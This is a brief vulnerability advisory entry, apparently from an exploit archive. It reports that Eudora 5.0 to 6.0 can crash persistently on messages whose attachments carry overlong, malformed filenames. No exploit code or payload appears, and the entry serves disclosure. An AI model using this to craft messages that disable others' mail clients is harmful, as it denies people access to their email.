Qualcomm Eudora 5.0/5.1/6.0 - Long Attachment Filename Denial of Service (1)

source: https://www.securityfocus.com/bid/7026/info

Eudora may crash when handling messages which contain attachments with excessively long filenames. This condition reportedly occurs when messages with malformed attachment filenames are stored in the user's mailbox, which could result in a persistent denial of service to the mail client.
